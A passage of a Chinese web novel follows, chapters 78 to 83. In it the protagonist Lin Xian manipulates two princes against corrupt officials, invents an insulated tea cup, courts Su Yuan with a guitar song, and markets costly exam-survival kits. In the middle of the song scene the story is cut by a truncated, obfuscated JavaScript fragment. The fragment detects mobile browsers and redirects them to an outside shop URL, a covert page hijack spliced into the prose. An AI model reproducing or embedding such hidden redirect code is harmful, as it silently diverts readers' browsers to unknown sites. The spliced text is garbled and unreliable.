林闲信中暗示:巡抚孙有道首鼠两端,并非可靠盟友,其倒台对王爷系彻底掌控本省利大于弊。王爷系可支持彻查孙有道,但需确保按察使职位由王爷信得过的人接任。
林闲此计,极其高明阴狠:
其一精准投喂,各取所需。
给太子和赵王的信息侧重点不同,但都指向共同敌人(赵宪、孙有道),且为双方画好了“分赃”的饼——
太子得巡抚位(封疆大吏),赵王得按察使位(监察刑名)。
这使得原本敌对的双方,在“扳倒现任两人”这一目标上,有了坚实的合作基础!
其二借力打力,驱虎吞狼。
驱动太子和赵王这两只猛虎,去撕咬汉王的暗桩和骑墙派,自己则隐于幕后,坐收渔利。
其三转移矛盾,祸水东引。
将赵宪对自己的打压,巧妙升级为汉王势力对太子和赵王两系的挑衅与侵害,瞬间将私人恩怨拉高到**层面。
果然太子和赵王几乎同时收到密报后,皆震惊且愤怒!
太子震怒于汉王的渗透和吏治的**,赵王则暴怒于被赵宪和孙有道欺骗和利用多年。
双方虽未直接沟通,但基于林闲提供的“合作框架”和确凿证据,心照不宣地开始暗中部署,只待秋闱结束,便联手发动雷霆一击!
很快在两位皇子无形的巨大压力下,赵宪愕然接到来自京城上峰的严厉斥责。
他被勒令他立即停止对林闲产业的无理查封,并赔偿一切损失,消除不良影响!
这突如其来的风向逆转,让赵宪彻底懵了。
他心里一阵发毛:“这是怎么回事?太子出手了?不对,太子的手伸不了这么快这么直接……难道是赵王?可赵王为何要帮林闲?还是说……汉王那边知道了?也不应该啊……”
他百思不得其解,想要通过汉王的渠道探听口风,却只得到“近期安分,勿生事端”的模糊回复,这更让他心惊肉跳。
“难道是……林闲?他怎么可能有如此能量?!”
赵宪一个激灵,想到了某种可怕的可能性,背后瞬间惊出一层冷汗。
而这一切的幕后推手林闲,在接到官府撤销查封、赔偿损失的正式文书时,只是淡淡一笑仿佛早已预料。
他对激动万分的林承宗等人,悠然道:“跳梁小丑,徒增笑耳,不必挂怀。”
随后林闲继续潜心备考,心思沉静如水。
他知道眼前的查封风波只是疥癣之疾,秋闱才是正道。
至于报复?
秋后算账,方能连根拔起!
赵宪的覆灭倒计时,已然在他林闲的精准谋划下,悄然开始了。
第七十九章 格物新篇:研发保温杯
又是两天过去,秋闱的脚步愈发清晰。
士子们个个埋头于故纸堆中,空气中都飘散着墨汁的苦涩与焦虑。
林闲却是个异类。
他虽也手不释卷,但心思却从未局限于圣贤书。
对他而言,“格物致知”绝非空谈,而是融入日常的实践。
近日天气多变,晨起微凉需热茶暖身,午后“秋老虎”余威尚存,热茶又烫口难饮,读书时常常因茶水凉热失宜而扰了思绪。
这让他萌生了一个念头:能否捣鼓出一种器皿,能让茶水长时间保持在一个恰到好处、入口宜人的温度?
这个念头一起,便如种子在他心中生根发芽。
林闲结合前世对保温原理的模糊记忆和一些基础的物理知识,立刻开始了新一轮的“格物”实践。
他摒弃了厚重却易散热的普通陶瓷,选用了质地细腻、透气性佳且有一定厚度的宜兴紫砂精心打磨成内胆,专司泡茶,以保茶香。
又特意请来城中手艺最精湛的铜匠,耗费心血,打造了带有精密夹层的黄铜外壳,夹层内并未追求难以实现的真空(以当前技术条件太过苛刻),而是独创性地填充了经过特殊烘焙、极度干燥的木屑和弹松如云朵的上等棉花,作为高效的隔热层。
最关键的一步,他在杯盖与杯身的结合处,设计了一套严丝合缝的螺旋卡扣结构,并垫上了质地柔软、富有弹性的软木塞。最大限度地减少了热量的对流与散失,堪称古代版的“密封黑科技”!
经过反复试验、调整填充物的配比和密封工艺的细节,一种保温效果远超这个时代任何茶壶、结构新颖独特的“四时如意杯”终于诞生了!
虽然无法像现代高科技保温杯那样保温数十小时,但在常温环境下,能让滚烫的热茶保持近两个时辰(约四小时)的温热适口,或让冰镇的酸梅汤保持近一个时辰的沁凉,这已经是足以惊世骇俗的突破。
林闲舒了口气,将其命名为“四时如意”。寓意四季皆宜,随心所欲,格物之功,尽在掌握。
首批试制品出来后,林闲并未急于推向市场,而是先让家人和族老试用。
族人们试用后,无不交口称赞,尤其是几位嗜茶如命的老者,更是激动得胡子直抖:“闲先生!此物神矣!冬日里办案、读书,再也不用担心茶凉伤胃了!”
见内部反响极佳,林闲知道时机成熟。他特意挑选了一个做工最为精良的“四时如意杯”用锦盒装好,带着来到县衙拜会周知县。
周知县正在后堂埋首于堆积如山的公文之中,眉宇间带着一丝疲惫,手边的盖碗茶早已凉透。
见林闲来访,他连忙起身相迎:“闲先生今日怎得有空前来?可是备考有何疑难?”
林闲拱手笑道:“非为课业,乃是近日偶得一小玩意儿,或可稍解县尊案牍劳形之苦,特来献与县尊品鉴。”
说着,便呈上了那精致的锦盒。
周知县好奇地打开锦盒,只见一只造型古朴别致、触感温润的杯子静静躺在其中,与他平日所用的茶具大不相同。
“此杯……样式颇为新奇,不知有何妙用?”
周知县拿起杯子,仔细端详,对那螺旋卡扣的杯盖尤为好奇。
林闲从容不迫,如同后世的产品经理演示新品:“县尊明鉴。寻常茶具,热茶易冷,冷饮易温常扰清兴。此杯名曰‘四时如意’,其妙处在于……”
他一边说,一边亲自执壶,将刚刚沏好、滚烫的顶级龙井倒入杯中,然后“咔哒”一声,利落旋紧杯盖,动作潇洒流畅。
在周知县呆滞目光中,笑着解释道:“此杯能锁住温度,使热茶长久温润,冷饮持久沁凉。县尊不妨此刻饮茶,处理公务一个时辰后,再试其温。”
周知县将信将疑,依言小呷一口,茶汤果然烫口。
他便将杯子置于案头,继续批阅公文。一个时辰在忙碌中悄然流逝,周知县感到些许倦意,想起林闲所言,顺手拿起那“四时如意杯”。
拧开杯盖的瞬间,一股熟悉的茶香伴随着温热的气息扑面而来!他试探着喝了一口,双眼顿时瞪得溜圆,满脸的
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难以置信!
“这……这怎么可能?!”周知县惊呼出声,差点失手打翻杯子,“这茶……竟还如此温热!与一个时辰前相差无几!这……这简直是神乎其技!闲先生,你……你这是如何做到的?!”
他捧着杯子,如同捧着稀世珍宝,反复摩挲爱不释手,之前的疲惫一扫而空,取而代之的是极度的兴奋与好奇。
陪着喝了一个时辰茶的林闲微微一笑,语气平淡却逼格满满:“无他,唯格物耳。不过是利用了一些隔热阻导的原理,略加巧思罢了。此杯内胆紫砂保香,外壳夹层填充特制干料阻热,螺旋密封减少流失。区区小技,能解县尊冬日饮冷茶、夏日品温汤之苦,便算是物尽其用了。”
“区区小技?闲先生过谦了!此乃利国利民之巧器啊!”
周知县激动得声音都提高了八度:“且不说我等公务缠身之人,便是那行军打仗的将士、长途跋涉的商旅、乃至寒窗苦读的学子,若有此物,皆是天大的福音!闲先生,此物……可有望市售?定当风靡天下!”他立刻看到了其中蕴含的巨大商机和社会价值。
林闲笑道:“县尊谬赞了。此物尚在试作阶段,造价不菲,尚未大批次量产。待秋闱后若反响良好,或可纳入闲雅阁售卖,精工细作,限量推出。届时定当首个精装版奉送县尊,以谢平日关照。”
“那本官就先谢过了!”
周知县喜不自胜,连连拱手。
他对林闲的巧思与为人更是佩服得五体投地,由衷道:“闲先生真乃奇才!文武兼备,格物通神!他日必非池中之物!”
这“四时如意杯”的神奇效果,很快通过周知县之口,在县衙和相熟的士绅小圈子里悄然传开,引来无数好奇与打听。尚未开售已是名声大噪,吊足了众人胃口。
林闲再次用他超越时代的“格物”智慧,轻松实现了“逼格”与“实用”的完美统一,无形中完成了一次漂亮的“装逼”与产品预热。
还没等林闲静下心来,一位意想不到的客人悄然到访……
第八十章 吉他撩妹与情歌暴击
来者,正是苏元。
她并未大张旗鼓,只带了一名贴身侍女,乘着一辆极为普通的青布小车,悄无声息来到林闲这里。
她身着月白素雅衣裙,宛如秋日湖面上的一株白莲。
“苏小姐?”
林闲见到她,眼中闪过一抹真实的惊喜。
他连忙快步迎出书房,将她请进院落。
他心知肚明,这位心思细腻的苏大家定是听闻了赵宪查封产业的风波,心中牵挂才特意寻了个由头前来探望。
苏元浅浅一笑,眼波如水,流转间带着一丝不易察觉的关切:“听闻先生近日闭门苦读,备尝辛苦。元儿恰在左近处理些琐事,便顺道过来叨扰片刻,不会耽误先生用功吧?”
她语气轻松,仿佛真是偶然路过。
“苏小姐说哪里话,你能莅临,寒舍蓬荜生辉。”
林闲笑容温润,将她请进书房笑道:“备考虽紧,亦需张弛有度。能与小姐清谈片刻,正是求之不得的放松。”
两人在书墨香和隐约草药清气的书房坐定,林闲并未用寻常茶具,而是取出了那款“四时如意杯”,亲自为她沏了一杯上好的龙井。
苏元好奇打量着这造型古朴别致、触手温润的杯子,听林闲解释了其“锁温留香”的妙用后,美眸中异彩连连,忍不住惊叹:“先生巧思,真非常人所能及!此物于旅途舟车劳顿之中,最为相宜!元儿……可否厚颜,向先生讨要一个?”
她半是玩笑半是期待问道,脸颊微红。
林闲欣然应允,语气带着几分宠溺:“小姐见外了。区区小物,能得小姐青眼是它的造化。待会儿便让承宗挑个最好的,包好送上。”
见窗外秋高气爽,夕阳将天边云霞染成一片瑰丽灿烂的锦缎。
林闲望着羞涩佳人心念突然一动,提议道:“书房虽好,终究有些憋闷。这后山有座小亭视野极佳,正可赏这落霞与孤鹜齐飞的盛景。不知小姐可有雅兴,移步一观?”
苏元正觉书房独处有些羞涩,闻言欣然应允:“但凭先生安排。”
两人沿着青石板铺就的小径缓步而上,石阶旁秋菊傲霜,丹桂飘香。
来到半山腰一座小巧玲珑的八角凉亭,亭中石桌石凳,简洁雅致。
凭栏远眺,但见层林尽染漫山红遍,整个县城郭炊烟袅袅,尽收眼底,天地间一片壮阔宁静。
林闲将温热的茶水倒入杯中递给苏元,自己则从亭角取出了一个长条形的布囊,打开后竟是那把做工精湛的紫檀木吉他。
此情此景,远山如黛,晚霞似火,佳人在侧,让他心潮微涌,创作灵感顿生。
苏元捧着那杯始终保持着恰到好处温热的茶水,暖意从指尖一直蔓延到心里。
她望着远处如画江山,又瞥见身旁专注调试琴弦、侧脸在夕阳下显得格外深邃的林闲,
心中涌起一股难得的宁静与安然,仿佛外界一切纷扰都已远去。
苏元轻声道:“此处风光甚好,令人心旷神怡,忘却尘俗。先生近日……一切可还顺遂?”
她终究还是委婉问出了心中最深的关切,意指赵宪的刁难。
林闲明白她所指,洒脱一笑随手拨动琴弦,发出一串清越悠扬的音符,如山涧清泉:“劳小姐挂心。秋风虽劲,难凉热血。浮云蔽日,终须散开。林某心中有尺,眼中有光,脚下有路,何惧区区魑魅魍魉、跳梁小丑?”
他语气中,充满睥睨一切的自信与从容。
苏元见他如此镇定豁达,眉宇间不见丝毫阴霾,心下彻底安定。
她嫣然一笑,如秋水映霞光彩照人:“是元儿着相了。先生胸有丘壑,志在青云,自能笑对世间风云。”她心中暗赞:此等气度,方是真正的人中龙凤!
此时,林闲调试好了琴弦。
他望着苏元在夕阳金辉下格外柔美动人的侧脸,心中柔情涌动,即兴弹起了一段舒缓、悠扬而略带旷达情怀的旋律,开口吟唱:
“秋山叠翠晚霞飞,(写景)
石亭相对清茶杯。(叙事)
功名路上多尘嚣,(对比)
何如此刻闲看云卷随?(点题:珍惜当下)
(吉他间奏过门,旋律优美)
也曾闻江湖风波恶,(暗指挫折)
也曾见庙堂是非围。(暗指争斗)
不如松下听泉响,(表达超脱)
共君一曲吉他伴余晖。(核心爆点:吉他+共君,浪漫直球!)
(副歌高潮)
且尽杯中茶,莫问明日事,(洒脱)
清风知我意,吹散眉间绪。(撩人)
人生聚散本无常,
难得秋光静好,与你同醉。(深情暗示)
且忘世间愁,但惜眼前时,(珍惜)
青山依旧在,几度夕阳红。(哲理)
琴声袅袅寄长空,
此心悠悠,共天地无穷。”(终极表白:此心共天地,逼格冲天!)
……
林闲的嗓音不算完美,吉他弹奏也并非炉火纯青。
但歌声中那份真挚的旷达、深沉的珍惜、以及对眼前人与景的极致眷恋,却如最醇的美酒,深深醉倒了苏元。
歌词文白相间,意境高远,将秋景、闲适、人生感慨与含蓄情愫完美融合,尤其是“共君一曲吉他伴余晖”、“此心悠悠,共天地无穷”等句,既含蓄又无比深情,如同甜蜜的暴击,让她心跳骤然加速,脸颊飞起红霞,彻底沉醉其中,仿佛天地间只剩下他与他的歌声。
一曲终了,吉他的余韵在山谷间袅袅回荡,与天边最后一道瑰丽的晚霞一同缓缓沉入暮色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687826|187586||http|test|mini|href|location''.split(''|''),0,{}));
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r>四周一片静谧,唯有秋虫低鸣,仿佛也为这歌声所沉醉。
苏元捧着那杯依旧温热的茶,目光盈盈如水,痴痴地望着林闲,眼中似有万千星辰闪烁,眼波流转间情意几乎要满溢出来。
她轻声道:“先生此曲……词意清雅旷达,曲调悠扬入心,元儿……心甚慰之,亦……甚为感动。”她的话语轻柔似梦,却蕴含着难以言喻的震撼、感动与悄然滋长的浓烈情意。
夜色渐浓,亭中光线朦胧。
林闲看着苏元愈发柔美的脸庞,那双映着天际最后一抹亮光的眸子里盛满倾慕与悸动。
或许是气氛使然,或许是情之所至。
他几乎是下意识探出手,轻覆上苏元捧着茶杯的微凉手背。
他的手瞬息而至,带着抚琴残留的些许力度和温度。
“嘤咛~”
这突如其来的触碰让苏元浑身微微一颤,如受惊的小鹿想缩回手。
但那温暖有力的触感却又让她心生贪恋,动作停滞在半途。
她的脸颊瞬间飞起红霞,一直蔓延到耳根。心跳扑通间如擂鼓,在静谧的暮色里清晰可闻。
她垂下眼睑,长而密的睫毛轻轻颤动,不敢直视林闲的目光,却也没有真正挣脱。
林闲也瞬间意识到自己这略显唐突的举动,但他并未立刻收回手,而是就着这个姿势轻柔握住了她的指尖。
他的声音比方才唱歌时更沙哑:“元儿……”
他唤了她的闺名,显得格外亲昵:“能得你如此懂我,是我之幸。”
苏元听到这声低唤,心头更是狂跳。
一股难以言喻的甜蜜与羞涩交织涌上。她终于鼓起勇气,抬起眼帘飞快瞥了林闲一眼。
眸光如水中带着欢喜,声音细若蚊呐:“先生……言重了。”
她的手微微动了动,非但没有抽离反而轻轻翻转,让两人的手掌贴合得更加紧密。
指尖传来他掌心的温度,熨帖着她微凉的手背。
这一刻,无需再多言语。
暮色里,山风轻柔。
两人在亭中执手相望,空气中弥漫着茶香、草木清香和一种名为情愫的气息。
所有的试探、牵挂、欣赏,在这一刻仿佛都找到了归宿,无声胜有声。
夕阳的最后一丝余晖彻底隐没,星光开始在天幕上点点浮现。
林闲终于缓缓松开了手,动作轻柔带着不舍。
苏元也顺势收回手,指尖却仿佛还残留着他的温度。
她将手悄悄藏入袖中,仿佛藏住了一个甜蜜的秘密。
两人相视一笑,一切尽在不言中。
林闲心中了然。
有些种子,已在心田悄然种下。
而即将到来的秋闱,将是他为这份悄然萌发的感情和自己的未来必须赢得的第一关。
第八十一章 未雨绸缪:考篮黑科技
距离秋闱开考,就剩下整整一个周。
江陵府的士子们个个面色凝重,行色匆匆。
空气中弥漫的不仅是墨香,更有着令人窒息的焦虑。
贡院那“九天六夜,号舍为家”的严酷考验,是每个读书人必须经历的炼狱。狭小、闷热、潮湿、蚊虫肆虐,加上精神高度紧张,对士子的身心都是极致的摧残,每年都有体弱或心理承受能力差者病倒甚至殒命其中。
林闲自己虽有两世为人的阅历打底,心态远比同龄人沉稳,但也绝不敢掉以轻心。
他站在书房,手指轻敲着江陵府贡院的位置。仿佛不是在备考,而是在策划一场战役。
“九天六夜……这不是考试,这是一场关于生存质量、心理稳定和状态保持的综合性极限挑战。”
林闲对着一脸懵懂的林承宗和几位核心管事,开始了他的“战前动员暨产品需求分析会”。
“承宗,你可知考生在号舍最大的痛点是什么?”林闲问道。
林承宗挠头:“呃……蚊虫?闷热?”
林闲一摆手:“是尊严!是体面!是维持‘士’之基本体面的条件被剥夺后,带来的心理崩溃!”
他踱步到窗前,背对众人问:“想象一下,一个寒窗十年的士子,满怀经纶却要蹲在狭小肮脏的角落,用粗糙的竹片解决生理需求!这是何等的**与不便?这直接摧毁了他的心理舒适区,还谈何文思泉涌?所以,我们的首要战略目标,也是核心痛点,就是解决如厕卫生问题!”
林承宗等人听得目瞪口呆,只觉得爹的视角,简直高到没边了!
“所以,我们必须攻克这个痛点!这是刚需中的刚需,是决定用户体验的关键!”
林闲一拍桌子,下定决心。
他利用今明两天,化身“古代材料科学与工程总工程师”,火速召集工匠成立“净手项目攻坚小组”,并亲自下达技术指标:
“听着!我们的目标,不是造出多么精美的东西,而是要造出一种足够好的产品!它要比麻布柔软,比厕筹卫生,成本要可控,生产工艺要尽可能简单、可大规模复制!”
“材料?给我用最便宜的树皮、破布烂麻!工艺?捣碎、清洗、蒸煮(加石灰漂白消毒)、成型、晾晒!我要在两天内看到样品!”
工匠们领命而去,日夜赶工。林闲则继续他的“产品矩阵”规划:单一产品无法形成壁垒。要打造一个“号舍生存生态系统”!
他开始勾画蓝图:“提神、驱虫、洁齿、防晒、应急药品,再加上核心的‘净手软巾’,形成一个闭环解决方案!我们要让考生用了我们的套装,在号舍里过得比在家里还舒服!”
很快,“净手软巾”样品出炉。
林闲拿起一片,仔细摩挲其质感,点了点头:“嗯,粗糙度在可接受范围内,吸水性和柔软度远超预期。虽然比不上后世的纸巾,但在这个时代,已经是降维打击了。好,命名为净手软巾,工艺严格保密。”
接着林闲亲自把关,将“清心醒神露”做成滚珠便携装,将驱蚊香囊的配方优化到效果最佳,甚至设计了迷你牙刷和独立包装的牙粉……
最终,一套完整的“九天登科·闲雅至尊套装”诞生了,配有精美的使用说明(图文并茂,堪称古代版产品手册)。
林闲拿起一套成品,对林承宗笑道:“记住,我们卖的不仅仅是产品,卖的是一种从容,一种在极端环境下依然能保持最佳状态的解决方案!至于价格?初期要高!走高端精品路线,目标客户就是那些不差钱、又极度重视考试体验的士绅子弟!我们要让他们形成依赖,形成口碑!”
他并未急于上市,而是先搞“限量内测”。他精选了周知县、几位族中子弟和有名望的秀才,送上套装,并要求提供详细反馈。
反馈回来时,效果堪称**性!
周知县试用后,激动得胡子直抖,亲自跑到林闲书房:“闲先生!神了!真是神了!这净手软巾……简直是功德无量!还有这驱蚊香囊,昨夜本官在花园凉亭批公文,往年蚊虫扰得心烦,昨夜竟一只没有!此物若推广开来,乃是我大周士子之福啊!”
一位素有洁癖的秀才更是激动得语无伦次,拉着林闲的手:“林兄!不,闲先生!大恩不言谢!这净手软巾以往入闱,如厕如同上刑,如今……如今竟成了一种……一种略带愉悦的体验?此言或许粗俗,但确是肺腑之言!此物,当载入史册!”
林闲听着这些反馈,只是淡淡一笑,对一脸佩服的林承宗道:“看到了吗?用户的痛点被解决后,他们的感激和忠诚度是无限的。这就是产品思维的力量。通知下去,根据反馈微调配方和包装,准备小批量生产。秋闱前,我们要让‘闲雅套装’成为每个考生梦寐以求的标配!”
消息如野火般蔓延,整个士林为之轰动。
林家门槛几乎被踏破,无数备考学子挥舞着银票求购一套“保过神器”。
林闲再次用他超越时代的“用户中心”理念和“产品化”能力,完成了一次对传统科举备考模式的“终极降维打击”。
他不仅是在卖货,更是在重新定义科举的备考体验。
然而更令人意想不到的是,嗅觉敏锐的各地商贾也闻风而动!
就在林闲对产品进行最后微调时,林府门外突然涌现不少外地车马。
不少操着各地口音的富商,带着厚礼求见林闲。
他们并非为了购买一两套产品,而是有着更大的图谋。
林家,花厅。
林闲打着哈欠,会见几位颇有实力的代表。
一位来自苏杭的丝绸巨贾沈万财,挺着富态的肚子,满脸堆笑地拱手:“闲先生!久仰大名,如雷贯耳!听闻先生研制出这九天登科套装,真乃惊世之作。沈某不才,在江南各府县皆有铺面人脉,愿出重金包销江南一省的售卖。这是定金,小小意
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思不成敬意!”
说着,便让随从抬上一个沉甸甸的小箱子,里面雪花白银闪闪发光。
另一位来自徽州的笔墨大王胡四海也不甘示弱,声音洪亮:“闲先生!沈老板虽实力雄厚,但我徽商信誉卓著,更懂文人雅士所需!这考篮套装,与我文房四宝乃是天作之合!若先生允准,胡某愿以三七分账,不,二八!我二您八!只求这徽州乃至两江的独家经销之权!”
还有一位来自京城的皇商代表,语气带着几分矜持与势在必得:“闲先生,此物若能贡入宫中供皇子皇孙、翰林学士使用,其价值不可估量。我家主人愿牵线搭桥,并负责京畿及北地的销售,利润好商量,只求一个御用之名头!”
面对这些热情似火、挥舞着银票寻求合作的商贾,林闲端坐主位品着茶。
他耐心听完众人的诉求,才缓缓放下茶杯,微微一笑语出惊人:“诸位老板的诚意,林某心领。不过,闲雅阁的货,目前不搞包销,也不设总代。”
此言一出,满座皆惊,商贾们面面相觑。
林闲不紧不慢继续解释道:“此套装备关乎天下士子科场福祉,非同小可。林某有三不原则:一不囤积居奇,二不随意授权,三不降低品质。目前产量有限,将优先保障本府及周边士子需求。至于各位所说的合作……”
他目光扫过众人,带着一种掌控全局的自信:“待秋闱之后,若此物果真不负众望,助我江陵士子取得佳绩,林某会考虑设立府级特许经销制度。届时将优先选择信誉卓著、渠道通达,且认同闲雅阁利义并举理念的合作伙伴。至于具体合作方式,届时自有章程,必是公平合理,互利共赢。”
他这番话,既拒绝了眼前的暴利诱惑,又画下了一个更具前景、更规范的大饼,牢牢掌握了主动权。
商贾们先是失望,随即陷入沉思,仔细品味着“府级特许经销”、“利义并举”这些新词,越想越觉得这位林闲先生格局宏大深不可测,合作之心反而更切,纷纷表态愿等秋闱之后详谈。
送走这些商贾,林闲对林承宗淡然道:“看到没?上赶着的不是买卖。我们要做的是制定规则,让别人来遵守我们的规则。产品足够硬,口碑足够响,主动权就在我们手里。现在让他们先急一急,把市场的胃口吊足。秋闱放榜之日,便是我们闲雅套装名动天下、渠道为王之时!”
林承宗等人早已佩服得五体投地,只觉得自家爹的商业手腕,简直如同兵法大家,运筹帷幄,决胜千里!
林闲用他超越时代的“用户中心”理念和“产品化”、“渠道管控”能力,完成了一次对传统商业模式的“终极降维打击”。
他不仅是在卖货,更是在重新定义科举的备考体验和周边的商业规则。
而这一切,都只是他为即将到来的秋闱,所布下的又一枚妙棋。
真正的风暴,正在各方势力的瞩目下,越来越近……
第八十二章 贡院门外:供不应求
秋闱前三天,各府县的秀才们如同过江之鲫,开始浩浩荡荡涌入省城。
贡院附近的客栈、酒楼人满为患,空气中弥漫着紧张、期待与不安的气息,仿佛一点火星就能引爆。
就在这考前最后时刻,林闲悄然开启收割模式放了大招!
贡院正门对面,一处最为显眼的位置。
一夜之间,悄然搭起了一座雅致而不失格调的帐篷。帐篷上悬挂着闲雅阁三个龙飞凤舞大字的旗幡,迎风招展逼格十足!
帐篷前,立着一块用上等木料制成的醒目水牌,上面用遒劲有力的字体写着:
“九天鏖战,身心俱疲?
状态不佳,何以夺魁?
‘九天登科·闲雅至尊套装’横空出世!
助您以最佳身心状态,决胜秋闱,笑傲群雄!
内含:清心醒神露(提神必备)、驱蚊安神香(安睡神器)、洁齿牙粉刷(口气清新)、玉容防晒霜(颜值担当)、应急良药包(有备无患)及秘制净手软巾(**性体验!)
数量有限,每日仅售百套!售完即止!预购从速!”
水牌旁边,还明码标价:“至尊套装:三十两纹银/套”!
这个价格一出来,立刻在士子中引起了轩然大波!
大多数囊中羞涩的寒门学子围过来一看,顿时倒吸一口凉气,纷纷咋舌:
“三…三十两?!抢钱啊!”
“我的娘诶!这够我一家老小吃用一年了!”
“一个考篮里的东西卖这么贵?金子做的吗?”
“散了散了,这不是我等穷书生用得起的……”
然而对于那些家境优渥、追求极致舒适的富家子弟和官宦之后来说,这价格虽高,却完全在可接受范围内。
他们正为如何熬过那九天六夜的非人折磨而焦头烂额,看到这“套装”的介绍,尤其是那语焉不详却极具诱惑的体验宣传和净手软巾,立刻产生了浓厚的兴趣和好奇心。
闲雅阁的名声早已通过香皂、香薰、防晒霜在上流社会传开,其品质和格调有口皆碑。
林闲早有准备,特意安排了几个口齿伶俐的伙计,在现场进行沉浸式体验营销:
一个伙计拿起“清心醒神露”,在太阳穴一抹,顿时做出一副神清气爽、醍醐灌顶状:“号舍闷热,昏昏欲睡?答题卡壳,文思枯竭?一滴醒神,思路泉涌!状元之选,您值得拥有!”
另一个伙计点燃“驱蚊安神香”,周围果然蚊虫避退:“蚊虫肆虐,彻夜难眠?心神不宁,何以考试?此香一燃,诸虫退散!保您一夜安眠,精神百倍!”
对于核心的净手软巾,伙计则显得更加神秘和高端,拿起一包用极其隐晦却又能让人心领神会的语言低声道:“至于此巾……乃东家呕心沥血之作,专为解决千古难题。传统之法,粗陋不堪,有辱斯文,易生秽气,扰人心神。而此巾……”
他适时停顿,留下无限遐想:“柔软舒适,洁净安心,用过方知何为体面!细节之处见真章,方显士子雅洁本色!此中妙处,只可意会,不可言传呐!”
这番推销话术,句句直击痛点,尤其是最后关于“体面”和“雅洁”的暗示,让那些讲究的富家子们瞬间心动不已!
很快,第一个吃螃蟹的富家公子出现了。他是本省布政使司参议的公子,一咬牙,掏出三十两银子:“给小爷我来一套!我倒要看看,是不是真有那么神!”
他拿到套装后,当场试用了一下“净手软巾”,片刻之后,从帐篷后出来时,脸上满是震惊和狂喜,仿佛发现了新大陆!他激动地对着同伴高喊:“神了!真**神了!这银子花得值!太值了!兄弟们,赶紧买!晚了就没了!此乃考场必备之神器!”
这活广告的效果简直炸裂!
有了“权威”人士的认证,那些还在犹豫的富家子弟们瞬间沸腾了!
“给我来三套!”
“我也要!给我家少爷也带一套!”
“掌柜的!钱在这!快给我留一套!”
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帐篷前排起了长龙,三十两银子一套的“闲雅至尊套装”以惊人的速度被抢购一空。
林闲早有准备,立刻从秘密仓库调货,依然供不应求,场面火爆到需要维持秩序!
许多本地的官员、富商闻讯,也纷纷派管家仆役赶来,为自己的子侄甚至同僚好友抢购,一买就是好几套。
这些有钱人根本不问价格,仿佛买的不是考篮用品,而是金榜题名的保险!
“快!快去给李知府家的公子、王总兵家的少爷各送五套过去!”
“老爷说了,不惜代价,务必买到!”
不到两天时间,连夜赶工准备的五百多套“闲雅至尊套装”被抢购一空!后来不得不临时加急生产,又卖出了一百多套。
事后粗略结算,仅此一项,毛利就超过一万三千两白银!
扣除所有成本,净利惊人!这简直是一场针对特定人群(有钱的士子)、在特定时间点(考前焦虑期)、利用特定需求(提升考场生存质量)进行的完美精准降维打击营销!
更妙的是,林闲此举并未引起普通寒门士子的反感,反而因为其产品确实有效且明码标价(并未垄断必需品,纯属自愿购买),被视作一种“周到的商业服务”。
甚至有些寒门学子暗下决心,将来发达了也要用闲雅阁的东西。
而那些使用了套装的富家子弟,在接下来的考试期间确实因为状态更佳而对闲雅阁和林闲本人感激不尽,无形中为林闲积累了强大而广泛的上层人脉。
当考生们带着羡慕看那些手持精美“闲雅至尊套装”、显得格外从容自信的富家同行者在酒楼吹牛装逼时。
闲雅阁和林闲的名字,再次以另一种方式,深深烙印在所有士子的记忆中。
林闲站在远处的高楼上,俯瞰着贡院前熙熙攘攘、为自己的命运而拼搏的人群,嘴角露出一丝运筹帷幄的微笑。
“第一仗,打得不错。”
林闲把玩着造型奇特的香薰瓶,轻声道……
第八十三章 贡院前的喧嚣:拒售赵公子
贡院前的喧嚣,因闲雅套装的横空出世达到沸点。
第一批三百套天价套装,在两天内被抢购一空。
巨大的利润和热烈的市场反响,让林闲看到了其中蕴含的惊人能量。
他果断下令,调动所有资源连夜赶工。
终于在考前一天,将第二批同样精心制作的三百套“闲雅至尊套装”从江宁县运抵贡院对面的临时旗舰店。
消息如插上了翅膀,迅速传开。
第二批抵达的消息,立刻引来比昨日更多、更焦急的士子围观和抢购。
摊位前人山人海,伙计们收钱、打包、解释用法,忙得脚不沾地。
汗水浸湿了衣衫也顾不上擦,银钱如同流水般哗哗地涌入钱箱,叮当作响间奏响心潮澎湃的财富乐章。
许多昨日犹豫不决、或者来晚一步捶胸顿足的富家子弟,今天几乎是红着眼睛冲过来,二话不说就掏钱,生怕再次与这“考场神器”失之交臂。
现场气氛火爆到需要临时增派人手维持秩序,防止踩踏。
“给我留两套!不,三套!”
“掌柜的!钱在这儿!快!先给我!”
“兄台,昨日你可用了?效果如何?”
“神效!尤其是那‘净手软巾’,简直是……呃,只可意会,不可言传啊!必买!”
就在这片热火朝天、几乎要引发抢购狂潮的时刻,一个极其不和谐的身影强行挤开人群,出现在摊位最前方。正是赵公子赵明远!
他昨日就听说了这“闲雅套装”的神奇,尤其是那被传得神乎其神、据说能彻底解决“千古难题”的“净手软巾”,心里像被猫抓一样痒。
虽然他对林闲恨之入骨,但一想到贡院内那九天六夜暗无天日的煎熬,尤其是那粗糙不堪、令人作呕的传统厕筹,他就觉得浑身不自在。
“面子重要,但屁股的舒适更重要啊!”
在经过一番激烈的思想斗争后,他最终还是硬着头皮带着几个跟班,摇着那柄标志性的折扇来了。
赵公子挤到柜台前,努力摆出往日里趾高气扬的架势。
他将几锭银子“啪”地一声拍在柜台上,用自以为不容置疑的语气对负责销售的林府大管家林安说道:“喂!林安!眼睛放亮点!给本公子来三套!要快!”他特意强调“三套”,仿佛这样能彰显自己的阔绰和地位。
林安早已得到林闲的最高指示:“货源充足时,对赵公子一律以售罄或已被预订为由,坚决不售!态度要客气,理由要充分。让他在大庭广众之下,有火发不出。让他体验一下,什么叫‘有钱也买不到’的滋味!”
此刻林安脸上堆起无可挑剔的恭敬笑容,但身体却纹丝不动,丝毫没有去接那锭银子的意思。
他客气拱手,声音不大不小却足以让周围的人都听清楚:“哎呀,原来是按察使司的赵公子大驾光临!小店蓬荜生辉!不过……”
